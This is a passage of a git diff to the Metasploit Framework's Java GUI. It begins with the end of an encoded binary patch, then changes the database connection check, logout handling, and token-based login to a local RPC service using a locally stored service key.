zNnUx^87zIeku2uOd>t1v7pGzq)J>lhZNWkz)c3yIkltBDB--a-EsNl%%^fts>@ z1tVFzx>9bfU_{-|Zg~X|_mTM(j129QwTu!et5-C3WD9Oy_F$P& z(MXl~H4R5q{}YwvkoN7BJt`X2W#4_s0*_5huGPv;Q{K-t`2!}1k~m+f%LTP80(Elo znLr~{8}cuOFv~E)Y&bC~_XQeZ+Tkx06bC1DxuuL5H^5Syd|yHlLH z($x>soPqMaV8g9tq^dZ3Fc7CTRDrG>*wBOn?ZsEp7Yy||&agk5D}=fs2-IoKfy#1B z2=r#)3vyj$DA9dtcr*l(U3yW)nQE9^8IY+<6r}ocNHnITCgju=5bHt+#B#jE2$@>$ zN_K0gY$k>p5%$x2h3iYGowv7WfEn7JjU=-KMJKWp^2&%Y&oz zNZIk8)e}VWPJyR_i1@h=c?^)p0{OveR$GX=e-*t%1M{*^XG5rxHT7g|)jFA94L$76 z^}4LFS+6PcU(@~jp9Yaegst-iGqRqHu8aU{sO)7&3c+fOrMFB+w}1~WLr{=_V#v9G>XSvIX@q>81oMlI;~q9qJF>XM5uxFY;i_E@YDWqbXY1&8P%GO;#5j#Cz>MD{pazh5j+#yMpE zgaHXZW7MK^COle3h5}Tj4sv+FA)C}OT4)z)$;EMKrVHwz74MHxf#NzS$fmVbplw~F zmG-?A*jq0kT=uRDMf;#Gitn{L3TI(lK$xr$2XI6^fd4eXA+l3FqnWlkjd9R)>ltme z>kU=lc$0w2Oc1B#HD*YJ%#1T0)QXyNpof<6fI@59JOD4<1n`ZI$GdTw%w z<*R9z0RIuj*p6~vqS0S_t&>7r*fk(VNi?E9a=N>#0>4}zBe2`uRN&A0km5uS75L;4 zq-B=aF+NM;`PJcd#=vzd|%ocKo-xL-1c9=EN)j%1^~*7I={b1>K) zEMroPBrR`{A7sst0Ee8Bf_xQ^^8+7Bfm+7Q^n>iJAAloMsX!c>>j$2h3dDldevls+ zLT~v&QX2r$smKp9zX9Y}@~I!>BtyRV&JWTg4G`muA7l|jx?l5y>`jF97t)M4+fvOf z_oW%JvROkT$#yQ#3N7PM)9O~}0*9t2nxSfPbh5jGY}W|HKc~Cpu4e9NxhxHO)3B4< TzdA>?mwOr+iOzzbcx3p0UK2|R diff --git a/external/source/gui/msfguijava/src/msfgui/DbConnectDialog.java b/external/source/gui/msfguijava/src/msfgui/DbConnectDialog.java index 246959e2ba..de87ece4a2 100644 --- a/external/source/gui/msfguijava/src/msfgui/DbConnectDialog.java +++ b/external/source/gui/msfguijava/src/msfgui/DbConnectDialog.java @@ -295,6 +295,9 @@ public class DbConnectDialog extends OptionsDialog { } /** Tries to connect to the database with given credentials */ private boolean tryConnect() throws MsfException{ + Map status = (Map) rpcConn.execute("db.status"); + if(status.containsKey("db")) + return true; // already connected HashMap opts = new HashMap(); addNonempty("host", hostField, opts); addNonempty("port", portField, opts); diff --git a/external/source/gui/msfguijava/src/msfgui/MainFrame.java b/external/source/gui/msfguijava/src/msfgui/MainFrame.java index 03e6ef4051..be021f2bb0 100755 --- a/external/source/gui/msfguijava/src/msfgui/MainFrame.java +++ b/external/source/gui/msfguijava/src/msfgui/MainFrame.java @@ -171,7 +171,7 @@ public class MainFrame extends FrameView { MsfguiApp.shuttingDown = true; if(choice == JOptionPane.YES_OPTION) rpcConn.execute("core.stop"); - else if(choice == JOptionPane.NO_OPTION) + else if(choice == JOptionPane.NO_OPTION && rpcConn.username.length() > 0) rpcConn.execute("auth.logout"); } catch (Exception ex) { } diff --git a/external/source/gui/msfguijava/src/msfgui/OpenConnectionDialog.java b/external/source/gui/msfguijava/src/msfgui/OpenConnectionDialog.java index 1566f47089..c72893efbc 100644 --- a/external/source/gui/msfguijava/src/msfgui/OpenConnectionDialog.java +++ b/external/source/gui/msfguijava/src/msfgui/OpenConnectionDialog.java @@ -3,7 +3,10 @@ import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import java.awt.event.FocusEvent; import java.awt.event.FocusListener; +import java.io.BufferedReader; import java.io.File; +import java.io.FileReader; +import java.io.IOException; import java.security.NoSuchAlgorithmException; import java.util.Map; import javax.swing.JFileChooser; @@ -120,6 +123,19 @@ public class OpenConnectionDialog extends javax.swing.JDialog { } catch (NullPointerException nex) {//generated when attributes dont exist. } catch (Exception ex) { //for weird msg exceptions } + //Try service token on default 3790 + BufferedReader fin = null; + try{ + try{ + fin = new BufferedReader(new FileReader(MsfguiApp.getMsfRoot().getParent()+"/apps/pro/engine/tmp/servicekey.txt")); + }catch(Exception iox2){ + fin = new BufferedReader(new FileReader("/opt/metasploit/apps/pro/engine/tmp/servicekey.txt")); + } + RpcConnection rpc = RpcConnection.getConn("", fin.readLine().toCharArray(), "localhost", 3790, true); + if(javax.swing.JOptionPane.showConfirmDialog(null, "Connect to local rpcd?") == javax.swing.JOptionPane.YES_OPTION) + return rpc; + }catch(Exception iox){//file not found/unreadable/bad creds/etc. - ignore + } //Darn. open the gui anyway OpenConnectionDialog diag = new OpenConnectionDialog(true, mainframe); diag.setVisible(true); diff --git a/external/source/gui/msfguijava/src/msfgui/RpcConnection.java b/external/source/gui/msfguijava/src/msfgui/RpcConnection.java index 8b754c1871..f499f5f1a2 100644 --- a/external/source/gui/msfguijava/src/msfgui/RpcConnection.java +++ b/external/source/gui/msfguijava/src/msfgui/RpcConnection.java @@ -84,9 +84,15 @@ public abstract class RpcConnection { String message = ""; try { connect(); - Map results = (Map)exec("auth.login",new Object[]{username, this.password}); - rpcToken=results.get("token").toString(); - haveRpcd=results.get("result").equals("success"); + if(username == null || username.equals("")){ + rpcToken = this.password; + execute("core.version"); //throws error if unsuccessful + haveRpcd = true; + }else{ + Map results = (Map)exec("auth.login",new Object[]{username, this.password}); + rpcToken=results.get("token").toString(); + haveRpcd=results.get("result").equals("success"); + } } catch (MsfException xre) { message = xre.getLocalizedMessage(); } catch (IOException io){